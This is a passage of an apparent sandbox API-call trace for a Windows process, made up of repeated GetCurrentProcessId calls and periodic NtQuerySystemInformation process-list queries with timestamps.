returned 0xbf4 [0179.498] GetCurrentProcessId () returned 0xbf4 [0179.498] GetCurrentProcessId () returned 0xbf4 [0179.498] GetCurrentProcessId () returned 0xbf4 [0179.498] GetCurrentProcessId () returned 0xbf4 [0179.498] GetCurrentProcessId () returned 0xbf4 [0179.498] GetCurrentProcessId () returned 0xbf4 [0180.057] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12da3098, Length=0x20000, ResultLength=0x1b6beb00 | out: SystemInformation=0x12da3098, ResultLength=0x1b6beb00*=0x1ca40) returned 0x0 [0180.624] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12da3098, Length=0x20000, ResultLength=0x1b6beb00 | out: SystemInformation=0x12da3098, ResultLength=0x1b6beb00*=0x1ca40) returned 0x0 [0182.260] GetCurrentProcessId () returned 0xbf4 [0182.260] GetCurrentProcessId () returned 0xbf4 [0182.260] GetCurrentProcessId () returned 0xbf4 [0182.260] GetCurrentProcessId () returned 0xbf4 [0182.260] GetCurrentProcessId () returned 0xbf4 [0182.260] GetCurrentProcessId () returned 0xbf4 [0182.260] GetCurrentProcessId () returned 0xbf4 [0182.260] GetCurrentProcessId () returned 0xbf4 [0182.260] GetCurrentProcessId () returned 0xbf4 [0182.260] GetCurrentProcessId () returned 0xbf4 [0182.260] GetCurrentProcessId () returned 0xbf4 [0182.260] GetCurrentProcessId () returned 0xbf4 [0182.260] GetCurrentProcessId () returned 0xbf4 [0182.260] GetCurrentProcessId () returned 0xbf4 [0182.261] GetCurrentProcessId () returned 0xbf4 [0182.261] GetCurrentProcessId () returned 0xbf4 [0182.261] GetCurrentProcessId () returned 0xbf4 [0182.261] GetCurrentProcessId () returned 0xbf4 [0182.261] GetCurrentProcessId () returned 0xbf4 [0182.261] GetCurrentProcessId () returned 0xbf4 [0182.261] GetCurrentProcessId () returned 0xbf4 [0182.261] GetCurrentProcessId () returned 0xbf4 [0182.261] GetCurrentProcessId () returned 0xbf4 [0182.261] GetCurrentProcessId () returned 0xbf4 [0182.261] GetCurrentProcessId () returned 0xbf4 [0182.261] GetCurrentProcessId () returned 0xbf4 [0182.261] GetCurrentProcessId () returned 0xbf4 [0182.261] GetCurrentProcessId () returned 0xbf4 [0182.261] GetCurrentProcessId () returned 0xbf4 [0182.261] GetCurrentProcessId () returned 0xbf4 [0182.261] GetCurrentProcessId () returned 0xbf4 [0182.261] GetCurrentProcessId () returned 0xbf4 [0182.261] GetCurrentProcessId () returned 0xbf4 [0182.261] GetCurrentProcessId () returned 0xbf4 [0182.261] GetCurrentProcessId () returned 0xbf4 [0182.261] GetCurrentProcessId () returned 0xbf4 [0182.261] GetCurrentProcessId () returned 0xbf4 [0182.261] GetCurrentProcessId () returned 0xbf4 [0182.261] GetCurrentProcessId () returned 0xbf4 [0182.261] GetCurrentProcessId () returned 0xbf4 [0182.261] GetCurrentProcessId () returned 0xbf4 [0182.261] GetCurrentProcessId () returned 0xbf4 [0182.261] GetCurrentProcessId () returned 0xbf4 [0182.261] GetCurrentProcessId () returned 0xbf4 [0182.261] GetCurrentProcessId () returned 0xbf4 [0182.261] GetCurrentProcessId () returned 0xbf4 [0182.261] GetCurrentProcessId () returned 0xbf4 [0182.262] GetCurrentProcessId () returned 0xbf4 [0182.262] GetCurrentProcessId () returned 0xbf4 [0182.262] GetCurrentProcessId () returned 0xbf4 [0182.262] GetCurrentProcessId () returned 0xbf4 [0182.262] GetCurrentProcessId () returned 0xbf4 [0182.262] GetCurrentProcessId () returned 0xbf4 [0182.262] GetCurrentProcessId () returned 0xbf4 [0182.262] GetCurrentProcessId () returned 0xbf4 [0182.262] GetCurrentProcessId () returned 0xbf4 [0182.262] GetCurrentProcessId () returned 0xbf4 [0182.262] GetCurrentProcessId () returned 0xbf4 [0182.262] GetCurrentProcessId () returned 0xbf4 [0182.262] GetCurrentProcessId () returned 0xbf4 [0182.262] GetCurrentProcessId () returned 0xbf4 [0182.262] GetCurrentProcessId () returned 0xbf4 [0182.262] GetCurrentProcessId () returned 0xbf4 [0182.262] GetCurrentProcessId () returned 0xbf4 [0182.262] GetCurrentProcessId () returned 0xbf4 [0182.262] GetCurrentProcessId () returned 0xbf4 [0182.262] GetCurrentProcessId () returned 0xbf4 [0182.262] GetCurrentProcessId () returned 0xbf4 [0182.262] GetCurrentProcessId () returned 0xbf4 [0182.262] GetCurrentProcessId () returned 0xbf4 [0182.262] GetCurrentProcessId () returned 0xbf4 [0182.262] GetCurrentProcessId () returned 0xbf4 [0182.262] GetCurrentProcessId () returned 0xbf4 [0182.262] GetCurrentProcessId () returned 0xbf4 [0182.262] GetCurrentProcessId () returned 0xbf4 [0182.262] GetCurrentProcessId () returned 0xbf4 [0182.262] GetCurrentProcessId () returned 0xbf4 [0182.262] GetCurrentProcessId () returned 0xbf4 [0182.262] GetCurrentProcessId () returned 0xbf4 [0182.262] GetCurrentProcessId () returned 0xbf4 [0182.262] GetCurrentProcessId () returned 0xbf4 [0182.263] GetCurrentProcessId () returned 0xbf4 [0182.263] GetCurrentProcessId () returned 0xbf4 [0182.263] GetCurrentProcessId () returned 0xbf4 [0182.263] GetCurrentProcessId () returned 0xbf4 [0182.263] GetCurrentProcessId () returned 0xbf4 [0182.263] GetCurrentProcessId () returned 0xbf4 [0182.263] GetCurrentProcessId () returned 0xbf4 [0182.263] GetCurrentProcessId () returned 0xbf4 [0182.263] GetCurrentProcessId () returned 0xbf4 [0182.263] GetCurrentProcessId () returned 0xbf4 [0182.263] GetCurrentProcessId () returned 0xbf4 [0182.845] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12da3098, Length=0x20000, ResultLength=0x1b6beb00 | out: SystemInformation=0x12da3098, ResultLength=0x1b6beb00*=0x1ca40) returned 0x0 [0184.452] GetCurrentProcessId () returned 0xbf4 [0184.452] GetCurrentProcessId () returned 0xbf4 [0184.452] GetCurrentProcessId () returned 0xbf4 [0184.452] GetCurrentProcessId () returned 0xbf4 [0184.452] GetCurrentProcessId () returned 0xbf4 [0184.452] GetCurrentProcessId () returned 0xbf4 [0184.452] GetCurrentProcessId () returned 0xbf4 [0184.452] GetCurrentProcessId () returned 0xbf4 [0184.452] GetCurrentProcessId () returned 0xbf4 [0184.452] GetCurrentProcessId () returned 0xbf4 [0184.452] GetCurrentProcessId () returned 0xbf4 [0184.452] GetCurrentProcessId () returned 0xbf4 [0184.452] GetCurrentProcessId () returned 0xbf4 [0184.452] GetCurrentProcessId () returned 0xbf4 [0184.452] GetCurrentProcessId () returned 0xbf4 [0184.453] GetCurrentProcessId () returned 0xbf4 [0184.453] GetCurrentProcessId () returned 0xbf4 [0184.453] GetCurrentProcessId () returned 0xbf4 [0184.453] GetCurrentProcessId () returned 0xbf4 [0184.453] GetCurrentProcessId () returned 0xbf4 [0184.453] GetCurrentProcessId () returned 0xbf4 [0184.453] GetCurrentProcessId () returned 0xbf4 [0184.453] GetCurrentProcessId () returned 0xbf4 [0184.453] GetCurrentProcessId () returned 0xbf4 [0184.453] GetCurrentProcessId () returned 0xbf4 [0184.453] GetCurrentProcessId () returned 0xbf4 [0184.453] GetCurrentProcessId () returned 0xbf4 [0184.453] GetCurrentProcessId () returned 0xbf4 [0184.453] GetCurrentProcessId () returned 0xbf4 [0184.453] GetCurrentProcessId () returned 0xbf4 [0184.453] GetCurrentProcessId () returned 0xbf4 [0184.453] GetCurrentProcessId () returned 0xbf4 [0184.453] GetCurrentProcessId () returned 0xbf4 [0184.453] GetCurrentProcessId () returned 0xbf4 [0184.453] GetCurrentProcessId () returned 0xbf4 [0184.453] GetCurrentProcessId () returned 0xbf4 [0184.453] GetCurrentProcessId () returned 0xbf4 [0184.453] GetCurrentProcessId () returned 0xbf4 [0184.453] GetCurrentProcessId () returned 0xbf4 [0184.453] GetCurrentProcessId () returned 0xbf4 [0184.453] GetCurrentProcessId () returned 0xbf4 [0184.454] GetCurrentProcessId () returned 0xbf4 [0184.454] GetCurrentProcessId () returned 0xbf4 [0184.454] GetCurrentProcessId () returned 0xbf4 [0184.454] GetCurrentProcessId () returned 0xbf4 [0184.454] GetCurrentProcessId () returned 0xbf4 [0184.454] GetCurrentProcessId () returned 0xbf4 [0184.454] GetCurrentProcessId () returned 0xbf4 [0184.454] GetCurrentProcessId () returned 0xbf4 [0184.454] GetCurrentProcessId () returned 0xbf4 [0184.454] GetCurrentProcessId () returned 0xbf4 [0184.454] GetCurrentProcessId () returned 0xbf4 [0184.454] GetCurrentProcessId () returned 0xbf4 [0184.454] GetCurrentProcessId () returned 0xbf4 [0184.454] GetCurrentProcessId () returned 0xbf4 [0184.454] GetCurrentProcessId () returned 0xbf4 [0184.455] GetCurrentProcessId () returned 0xbf4 [0184.455] GetCurrentProcessId () returned 0xbf4 [0184.455] GetCurrentProcessId () returned 0xbf4 [0184.455] GetCurrentProcessId () returned 0xbf4 [0184.455] GetCurrentProcessId () returned 0xbf4 [0184.455] GetCurrentProcessId () returned 0xbf4 [0184.455] GetCurrentProcessId () returned 0xbf4 [0184.455] GetCurrentProcessId () returned 0xbf4 [0184.455] GetCurrentProcessId () returned 0xbf4 [0184.455] GetCurrentProcessId () returned 0xbf4 [0184.455] GetCurrentProcessId () returned 0xbf4 [0184.455] GetCurrentProcessId () returned 0xbf4 [0184.455] GetCurrentProcessId () returned 0xbf4 [0184.455] GetCurrentProcessId () returned 0xbf4 [0184.455] GetCurrentProcessId () returned 0xbf4 [0184.455] GetCurrentProcessId () returned 0xbf4 [0184.455] GetCurrentProcessId () returned 0xbf4 [0184.455] GetCurrentProcessId () returned 0xbf4 [0184.455] GetCurrentProcessId () returned 0xbf4 [0184.455] GetCurrentProcessId () returned 0xbf4 [0184.455] GetCurrentProcessId () returned 0xbf4 [0184.455] GetCurrentProcessId () returned 0xbf4 [0184.455] GetCurrentProcessId () returned 0xbf4 [0184.456] GetCurrentProcessId () returned 0xbf4 [0184.456] GetCurrentProcessId () returned 0xbf4 [0184.456] GetCurrentProcessId () returned 0xbf4 [0184.456] GetCurrentProcessId () returned 0xbf4 [0184.456] GetCurrentProcessId () returned 0xbf4 [0184.456] GetCurrentProcessId () returned 0xbf4 [0184.456] GetCurrentProcessId () returned 0xbf4 [0184.456] GetCurrentProcessId () returned 0xbf4 [0184.456] GetCurrentProcessId () returned 0xbf4 [0184.456] GetCurrentProcessId () returned 0xbf4 [0184.456] GetCurrentProcessId () returned 0xbf4 [0184.456] GetCurrentProcessId () returned 0xbf4 [0184.456] GetCurrentProcessId () returned 0xbf4 [0184.456] GetCurrentProcessId () returned 0xbf4 [0184.456] GetCurrentProcessId () returned 0xbf4 [0184.456] GetCurrentProcessId () returned 0xbf4 [0184.456] GetCurrentProcessId () returned 0xbf4 [0184.456] GetCurrentProcessId () returned 0xbf4 [0184.456] GetCurrentProcessId () returned 0xbf4 [0184.456] GetCurrentProcessId () returned 0xbf4 [0184.456] GetCurrentProcessId () returned 0xbf4 [0184.456] GetCurrentProcessId () returned 0xbf4 [0184.456] GetCurrentProcessId () returned 0xbf4 [0184.456] GetCurrentProcessId () returned 0xbf4 [0184.456] GetCurrentProcessId () returned 0xbf4 [0184.457] GetCurrentProcessId () returned 0xbf4 [0184.457] GetCurrentProcessId () returned 0xbf4 [0184.457] GetCurrentProcessId () returned 0xbf4 [0184.971] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12da3098, Length=0x20000, ResultLength=0x1b6beb00 | out: SystemInformation=0x12da3098, ResultLength=0x1b6beb00*=0x1c810) returned 0x0 [0184.983] GetCurrentProcessId () returned 0xbf4 [0184.983] GetCurrentProcessId () returned 0xbf4 [0184.983] GetCurrentProcessId () returned 0xbf4 [0184.983] GetCurrentProcessId () returned 0xbf4 [0184.983] GetCurrentProcessId () returned 0xbf4 [0184.983] GetCurrentProcessId () returned 0xbf4 [0184.983] GetCurrentProcessId () returned 0xbf4 [0184.983] GetCurrentProcessId () returned 0xbf4 [0184.983] GetCurrentProcessId () returned 0xbf4 [0184.983] GetCurrentProcessId () returned 0xbf4 [0184.983] GetCurrentProcessId () returned 0xbf4 [0184.983] GetCurrentProcessId () returned 0xbf4 [0184.983] GetCurrentProcessId () returned 0xbf4 [0184.983] GetCurrentProcessId () returned 0xbf4 [0184.983] GetCurrentProcessId () returned 0xbf4 [0184.984] GetCurrentProcessId () returned 0xbf4 [0184.984] GetCurrentProcessId () returned 0xbf4 [0184.984] GetCurrentProcessId () returned 0xbf4 [0184.984] GetCurrentProcessId () returned 0xbf4 [0184.984] GetCurrentProcessId () returned 0xbf4 [0184.984] GetCurrentProcessId () returned 0xbf4 [0184.984] GetCurrentProcessId () returned 0xbf4 [0184.984] GetCurrentProcessId () returned 0xbf4 [0184.984] GetCurrentProcessId () returned 0xbf4 [0184.984] GetCurrentProcessId () returned 0xbf4 [0184.984] GetCurrentProcessId () returned 0xbf4 [0184.984] GetCurrentProcessId () returned 0xbf4 [0184.984] GetCurrentProcessId () returned 0xbf4 [0184.984] GetCurrentProcessId () returned 0xbf4 [0184.984] GetCurrentProcessId () returned 0xbf4 [0184.984] GetCurrentProcessId () returned 0xbf4 [0184.984] GetCurrentProcessId () returned 0xbf4 [0184.984] GetCurrentProcessId () returned 0xbf4 [0184.984] GetCurrentProcessId () returned 0xbf4 [0184.984] GetCurrentProcessId () returned 0xbf4 [0184.984] GetCurrentProcessId () returned 0xbf4 [0184.984] GetCurrentProcessId () returned 0xbf4 [0184.984] GetCurrentProcessId () returned 0xbf4 [0184.984] GetCurrentProcessId () returned 0xbf4 [0184.984] GetCurrentProcessId () returned 0xbf4 [0184.984] GetCurrentProcessId () returned 0xbf4 [0184.985] GetCurrentProcessId () returned 0xbf4 [0184.985] GetCurrentProcessId () returned 0xbf4 [0184.985] GetCurrentProcessId () returned 0xbf4 [0184.985] GetCurrentProcessId () returned 0xbf4 [0184.985] GetCurrentProcessId () returned 0xbf4 [0184.985] GetCurrentProcessId () returned 0xbf4 [0184.985] GetCurrentProcessId () returned 0xbf4 [0184.985] GetCurrentProcessId () returned 0xbf4 [0184.985] GetCurrentProcessId () returned 0xbf4 [0184.986] GetCurrentProcessId () returned 0xbf4 [0184.986] GetCurrentProcessId () returned 0xbf4 [0184.986] GetCurrentProcessId () returned 0xbf4 [0184.986] GetCurrentProcessId () returned 0xbf4 [0184.986] GetCurrentProcessId () returned 0xbf4 [0184.986] GetCurrentProcessId () returned 0xbf4 [0184.986] GetCurrentProcessId () returned 0xbf4 [0184.986] GetCurrentProcessId () returned 0xbf4 [0184.987] GetCurrentProcessId () returned 0xbf4 [0184.987] GetCurrentProcessId () returned 0xbf4 [0184.987] GetCurrentProcessId () returned 0xbf4 [0184.987] GetCurrentProcessId () returned 0xbf4 [0184.987] GetCurrentProcessId () returned 0xbf4 [0184.987] GetCurrentProcessId () returned 0xbf4 [0184.987] GetCurrentProcessId () returned 0xbf4 [0184.987] GetCurrentProcessId () returned 0xbf4 [0184.987] GetCurrentProcessId () returned 0xbf4 [0184.987] GetCurrentProcessId () returned 0xbf4 [0184.987] GetCurrentProcessId () returned 0xbf4 [0184.987] GetCurrentProcessId () returned 0xbf4 [0184.987] GetCurrentProcessId () returned 0xbf4 [0184.987] GetCurrentProcessId () returned 0xbf4 [0184.987] GetCurrentProcessId () returned 0xbf4 [0184.987] GetCurrentProcessId () returned 0xbf4 [0184.987] GetCurrentProcessId () returned 0xbf4 [0184.987] GetCurrentProcessId () returned 0xbf4 [0184.987] GetCurrentProcessId () returned 0xbf4 [0184.987] GetCurrentProcessId () returned 0xbf4 [0184.987] GetCurrentProcessId () returned 0xbf4 [0184.987] GetCurrentProcessId () returned 0xbf4 [0184.987] GetCurrentProcessId () returned 0xbf4 [0184.987] GetCurrentProcessId () returned 0xbf4 [0184.987] GetCurrentProcessId () returned 0xbf4 [0184.987] GetCurrentProcessId () returned 0xbf4 [0184.987] GetCurrentProcessId () returned 0xbf4 [0184.988] GetCurrentProcessId () returned 0xbf4 [0184.988] GetCurrentProcessId () returned 0xbf4 [0184.988] GetCurrentProcessId () returned 0xbf4 [0184.988] GetCurrentProcessId () returned 0xbf4 [0184.988] GetCurrentProcessId () returned 0xbf4 [0184.988] GetCurrentProcessId () returned 0xbf4 [0184.988] GetCurrentProcessId () returned 0xbf4 [0184.988] GetCurrentProcessId () returned 0xbf4 [0184.988] GetCurrentProcessId () returned 0xbf4 [0184.988] GetCurrentProcessId () returned 0xbf4 [0184.988] GetCurrentProcessId () returned 0xbf4 [0184.988] GetCurrentProcessId () returned 0xbf4 [0184.988] GetCurrentProcessId () returned 0xbf4 [0184.988] GetCurrentProcessId () returned 0xbf4 [0184.988] GetCurrentProcessId () returned 0xbf4 [0184.988] GetCurrentProcessId () returned 0xbf4 [0184.988] GetCurrentProcessId () returned 0xbf4 [0184.988] GetCurrentProcessId () returned 0xbf4 [0184.988] GetCurrentProcessId () returned 0xbf4 [0184.988] GetCurrentProcessId () returned 0xbf4 [0184.988] GetCurrentProcessId () returned 0xbf4 [0184.988] GetCurrentProcessId () returned 0xbf4 [0185.517] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12da3098, Length=0x20000, ResultLength=0x1b6beb00 | out: SystemInformation=0x12da3098, ResultLength=0x1b6beb00*=0x1c810) returned 0x0 [0185.521] GetCurrentProcessId () returned 0xbf4 [0185.521] GetCurrentProcessId () returned 0xbf4 [0185.521] GetCurrentProcessId () returned 0xbf4 [0185.521] GetCurrentProcessId () returned 0xbf4 [0185.521] GetCurrentProcessId () returned 0xbf4 [0185.521] GetCurrentProcessId () returned 0xbf4 [0185.521] GetCurrentProcessId () returned 0xbf4 [0185.521] GetCurrentProcessId () returned 0xbf4 [0185.521] GetCurrentProcessId () returned 0xbf4 [0185.521] GetCurrentProcessId () returned 0xbf4 [0185.521] GetCurrentProcessId () returned 0xbf4 [0185.521] GetCurrentProcessId () returned 0xbf4 [0185.521] GetCurrentProcessId () returned 0xbf4 [0185.521] GetCurrentProcessId () returned 0xbf4 [0185.521] GetCurrentProcessId () returned 0xbf4 [0185.521] GetCurrentProcessId () returned 0xbf4 [0185.521] GetCurrentProcessId () returned 0xbf4 [0185.521] GetCurrentProcessId () returned 0xbf4 [0185.521] GetCurrentProcessId () returned 0xbf4 [0185.521] GetCurrentProcessId () returned 0xbf4 [0185.521] GetCurrentProcessId () returned 0xbf4 [0185.521] GetCurrentProcessId () returned 0xbf4 [0185.521] GetCurrentProcessId () returned 0xbf4 [0185.522] GetCurrentProcessId () returned 0xbf4 [0185.522] GetCurrentProcessId () returned 0xbf4 [0185.522] GetCurrentProcessId () returned 0xbf4 [0185.522] GetCurrentProcessId () returned 0xbf4 [0185.522] GetCurrentProcessId () returned 0xbf4 [0185.522] GetCurrentProcessId () returned 0xbf4 [0185.522] GetCurrentProcessId () returned 0xbf4 [0185.522] GetCurrentProcessId () returned 0xbf4 [0185.522] GetCurrentProcessId () returned 0xbf4 [0185.522] GetCurrentProcessId () returned 0xbf4 [0185.522] GetCurrentProcessId () returned 0xbf4 [0185.522] GetCurrentProcessId () returned 0xbf4 [0185.522] GetCurrentProcessId () returned 0xbf4 [0185.522] GetCurrentProcessId () returned 0xbf4 [0185.522] GetCurrentProcessId () returned 0xbf4 [0185.522] GetCurrentProcessId () returned 0xbf4 [0185.522] GetCurrentProcessId () returned 0xbf4 [0185.522] GetCurrentProcessId () returned 0xbf4 [0185.522] GetCurrentProcessId () returned 0xbf4 [0185.522] GetCurrentProcessId () returned 0xbf4 [0185.522] GetCurrentProcessId () returned 0xbf4 [0185.522] GetCurrentProcessId () returned 0xbf4 [0185.522] GetCurrentProcessId () returned 0xbf4 [0185.522] GetCurrentProcessId () returned 0xbf4 [0185.522] GetCurrentProcessId () returned 0xbf4 [0185.522] GetCurrentProcessId () returned 0xbf4 [0185.522] GetCurrentProcessId () returned 0xbf4 [0185.522] GetCurrentProcessId () returned 0xbf4 [0185.522] GetCurrentProcessId () returned 0xbf4 [0185.522] GetCurrentProcessId () returned 0xbf4 [0185.522] GetCurrentProcessId () returned 0xbf4 [0185.522] GetCurrentProcessId () returned 0xbf4 [0185.523] GetCurrentProcessId () returned 0xbf4 [0185.523] GetCurrentProcessId () returned 0xbf4 [0185.523] GetCurrentProcessId () returned 0xbf4 [0185.523] GetCurrentProcessId () returned 0xbf4 [0185.523] GetCurrentProcessId () returned 0xbf4 [0185.523] GetCurrentProcessId () returned 0xbf4 [0185.523] GetCurrentProcessId () returned 0xbf4 [0185.523] GetCurrentProcessId () returned 0xbf4 [0185.523] GetCurrentProcessId () returned 0xbf4 [0185.523] GetCurrentProcessId () returned 0xbf4 [0185.523] GetCurrentProcessId () returned 0xbf4 [0185.523] GetCurrentProcessId () returned 0xbf4 [0185.523] GetCurrentProcessId () returned 0xbf4 [0185.523] GetCurrentProcessId () returned 0xbf4 [0185.523] GetCurrentProcessId () returned 0xbf4 [0185.523] GetCurrentProcessId () returned 0xbf4 [0185.523] GetCurrentProcessId () returned 0xbf4 [0185.523] GetCurrentProcessId () returned 0xbf4 [0185.523] GetCurrentProcessId () returned 0xbf4 [0185.523] GetCurrentProcessId () returned 0xbf4 [0185.523] GetCurrentProcessId () returned 0xbf4 [0185.523] GetCurrentProcessId () returned 0xbf4 [0185.523] GetCurrentProcessId () returned 0xbf4 [0185.523] GetCurrentProcessId () returned 0xbf4 [0185.523] GetCurrentProcessId () returned 0xbf4 [0185.523] GetCurrentProcessId () returned 0xbf4 [0185.523] GetCurrentProcessId () returned 0xbf4 [0185.523] GetCurrentProcessId () returned 0xbf4 [0185.523] GetCurrentProcessId () returned 0xbf4 [0185.523] GetCurrentProcessId () returned 0xbf4 [0185.523] GetCurrentProcessId () returned 0xbf4 [0185.524] GetCurrentProcessId () returned 0xbf4 [0185.524] GetCurrentProcessId () returned 0xbf4 [0185.524] GetCurrentProcessId () returned 0xbf4 [0185.524] GetCurrentProcessId () returned 0xbf4 [0185.524] GetCurrentProcessId () returned 0xbf4 [0185.524] GetCurrentProcessId () returned 0xbf4 [0185.524] GetCurrentProcessId () returned 0xbf4 [0185.524] GetCurrentProcessId () returned 0xbf4 [0185.524] GetCurrentProcessId () returned 0xbf4 [0185.524] GetCurrentProcessId () returned 0xbf4 [0185.524] GetCurrentProcessId () returned 0xbf4 [0185.524] GetCurrentProcessId () returned 0xbf4 [0185.524] GetCurrentProcessId () returned 0xbf4 [0185.524] GetCurrentProcessId () returned 0xbf4 [0185.524] GetCurrentProcessId () returned 0xbf4 [0185.524] GetCurrentProcessId () returned 0xbf4 [0185.524] GetCurrentProcessId () returned 0xbf4 [0185.524] GetCurrentProcessId () returned 0xbf4 [0185.524] GetCurrentProcessId () returned 0xbf4 [0185.524] GetCurrentProcessId () returned 0xbf4 [0185.524] GetCurrentProcessId () returned 0xbf4 [0186.036] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12da3098, Length=0x20000, ResultLength=0x1b6beb00 | out: SystemInformation=0x12da3098, ResultLength=0x1b6beb00*=0x1c7c0) returned 0x0 [0186.051] GetCurrentProcessId () returned 0xbf4 [0186.051] GetCurrentProcessId () returned 0xbf4 [0186.051] GetCurrentProcessId () returned 0xbf4 [0186.051] GetCurrentProcessId () returned 0xbf4 [0186.051] GetCurrentProcessId () returned 0xbf4 [0186.051] GetCurrentProcessId () returned 0xbf4 [0186.051] GetCurrentProcessId () returned 0xbf4 [0186.052] GetCurrentProcessId () returned 0xbf4 [0186.052] GetCurrentProcessId () returned 0xbf4 [0186.052] GetCurrentProcessId () returned 0xbf4 [0186.052] GetCurrentProcessId () returned 0xbf4 [0186.052] GetCurrentProcessId () returned 0xbf4 [0186.052] GetCurrentProcessId () returned 0xbf4 [0186.052] GetCurrentProcessId () returned 0xbf4 [0186.052] GetCurrentProcessId () returned 0xbf4 [0186.052] GetCurrentProcessId () returned 0xbf4 [0186.052] GetCurrentProcessId () returned 0xbf4 [0186.052] GetCurrentProcessId () returned 0xbf4 [0186.052] GetCurrentProcessId () returned 0xbf4 [0186.052] GetCurrentProcessId () returned 0xbf4 [0186.052] GetCurrentProcessId () returned 0xbf4 [0186.052] GetCurrentProcessId () returned 0xbf4 [0186.052] GetCurrentProcessId () returned 0xbf4 [0186.052] GetCurrentProcessId () returned 0xbf4 [0186.052] GetCurrentProcessId () returned 0xbf4 [0186.052] GetCurrentProcessId () returned 0xbf4 [0186.052] GetCurrentProcessId () returned 0xbf4 [0186.052] GetCurrentProcessId () returned 0xbf4 [0186.052] GetCurrentProcessId () returned 0xbf4 [0186.052] GetCurrentProcessId () returned 0xbf4 [0186.052] GetCurrentProcessId () returned 0xbf4 [0186.052] GetCurrentProcessId () returned 0xbf4 [0186.052] GetCurrentProcessId () returned 0xbf4 [0186.052] GetCurrentProcessId () returned 0xbf4 [0186.052] GetCurrentProcessId () returned 0xbf4 [0186.052] GetCurrentProcessId () returned 0xbf4 [0186.053] GetCurrentProcessId () returned 0xbf4 [0186.053] GetCurrentProcessId () returned 0xbf4 [0186.053] GetCurrentProcessId () returned 0xbf4 [0186.053] GetCurrentProcessId () returned 0xbf4 [0186.053] GetCurrentProcessId () returned 0xbf4 [0186.053] GetCurrentProcessId () returned 0xbf4 [0186.053] GetCurrentProcessId () returned 0xbf4 [0186.053] GetCurrentProcessId () returned 0xbf4 [0186.053] GetCurrentProcessId () returned 0xbf4 [0186.053] GetCurrentProcessId () returned 0xbf4 [0186.053] GetCurrentProcessId () returned 0xbf4 [0186.053] GetCurrentProcessId () returned 0xbf4 [0186.053] GetCurrentProcessId () returned 0xbf4 [0186.053] GetCurrentProcessId () returned 0xbf4 [0186.053] GetCurrentProcessId () returned 0xbf4 [0186.053] GetCurrentProcessId () returned 0xbf4 [0186.053] GetCurrentProcessId () returned 0xbf4 [0186.053] GetCurrentProcessId () returned 0xbf4 [0186.053] GetCurrentProcessId () returned 0xbf4 [0186.053] GetCurrentProcessId () returned 0xbf4 [0186.053] GetCurrentProcessId () returned 0xbf4 [0186.053] GetCurrentProcessId () returned 0xbf4 [0186.053] GetCurrentProcessId () returned 0xbf4 [0186.053] GetCurrentProcessId () returned 0xbf4 [0186.053] GetCurrentProcessId () returned 0xbf4 [0186.053] GetCurrentProcessId () returned 0xbf4 [0186.053] GetCurrentProcessId () returned 0xbf4 [0186.053] GetCurrentProcessId () returned 0xbf4 [0186.053] GetCurrentProcessId () returned 0xbf4 [0186.053] GetCurrentProcessId () returned 0xbf4 [0186.054] GetCurrentProcessId () returned 0xbf4 [0186.054] GetCurrentProcessId () returned 0xbf4 [0186.054] GetCurrentProcessId () returned 0xbf4 [0186.054] GetCurrentProcessId () returned 0xbf4 [0186.054] GetCurrentProcessId () returned 0xbf4 [0186.054] GetCurrentProcessId () returned 0xbf4 [0186.054] GetCurrentProcessId () returned 0xbf4 [0186.054] GetCurrentProcessId () returned 0xbf4 [0186.054] GetCurrentProcessId () returned 0xbf4 [0186.054] GetCurrentProcessId () returned 0xbf4 [0186.054] GetCurrentProcessId () returned 0xbf4 [0186.054] GetCurrentProcessId () returned 0xbf4 [0186.054] GetCurrentProcessId () returned 0xbf4 [0186.054] GetCurrentProcessId () returned 0xbf4 [0186.054] GetCurrentProcessId () returned 0xbf4 [0186.054] GetCurrentProcessId () returned 0xbf4 [0186.054] GetCurrentProcessId () returned 0xbf4 [0186.054] GetCurrentProcessId () returned 0xbf4 [0186.054] GetCurrentProcessId () returned 0xbf4 [0186.054] GetCurrentProcessId () returned 0xbf4 [0186.054] GetCurrentProcessId () returned 0xbf4 [0186.054] GetCurrentProcessId () returned 0xbf4 [0186.054] GetCurrentProcessId () returned 0xbf4 [0186.054] GetCurrentProcessId () returned 0xbf4 [0186.054] GetCurrentProcessId () returned 0xbf4 [0186.054] GetCurrentProcessId () returned 0xbf4 [0186.054] GetCurrentProcessId () returned 0xbf4 [0186.054] GetCurrentProcessId () returned 0xbf4 [0186.054] GetCurrentProcessId () returned 0xbf4 [0186.055] GetCurrentProcessId () returned 0xbf4 [0186.055] GetCurrentProcessId () returned 0xbf4 [0186.055] GetCurrentProcessId () returned 0xbf4 [0186.055] GetCurrentProcessId () returned 0xbf4 [0186.055] GetCurrentProcessId () returned 0xbf4 [0186.055] GetCurrentProcessId () returned 0xbf4 [0186.055] GetCurrentProcessId () returned 0xbf4 [0186.055] GetCurrentProcessId () returned 0xbf4 [0186.055] GetCurrentProcessId () returned 0xbf4 [0186.055] GetCurrentProcessId () returned 0xbf4 [0186.055] GetCurrentProcessId () returned 0xbf4 [0186.055] GetCurrentProcessId () returned 0xbf4 [0186.564] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12da3098, Length=0x20000, ResultLength=0x1b6beb00 | out: SystemInformation=0x12da3098, ResultLength=0x1b6beb00*=0x1c7c0) returned 0x0 [0186.600] GetCurrentProcessId () returned 0xbf4 [0186.600] GetCurrentProcessId () returned 0xbf4 [0186.600] GetCurrentProcessId () returned 0xbf4 [0186.600] GetCurrentProcessId () returned 0xbf4 [0186.600] GetCurrentProcessId () returned 0xbf4 [0186.600] GetCurrentProcessId () returned 0xbf4 [0186.600] GetCurrentProcessId () returned 0xbf4 [0186.600] GetCurrentProcessId () returned 0xbf4 [0186.600] GetCurrentProcessId () returned 0xbf4 [0186.600] GetCurrentProcessId () returned 0xbf4 [0186.600] GetCurrentProcessId () returned 0xbf4 [0186.600] GetCurrentProcessId () returned 0xbf4 [0186.600] GetCurrentProcessId () returned 0xbf4 [0186.600] GetCurrentProcessId () returned 0xbf4 [0186.601] GetCurrentProcessId () returned 0xbf4 [0186.601] GetCurrentProcessId () returned 0xbf4 [0186.601] GetCurrentProcessId () returned 0xbf4 [0186.601] GetCurrentProcessId () returned 0xbf4 [0186.601] GetCurrentProcessId () returned 0xbf4 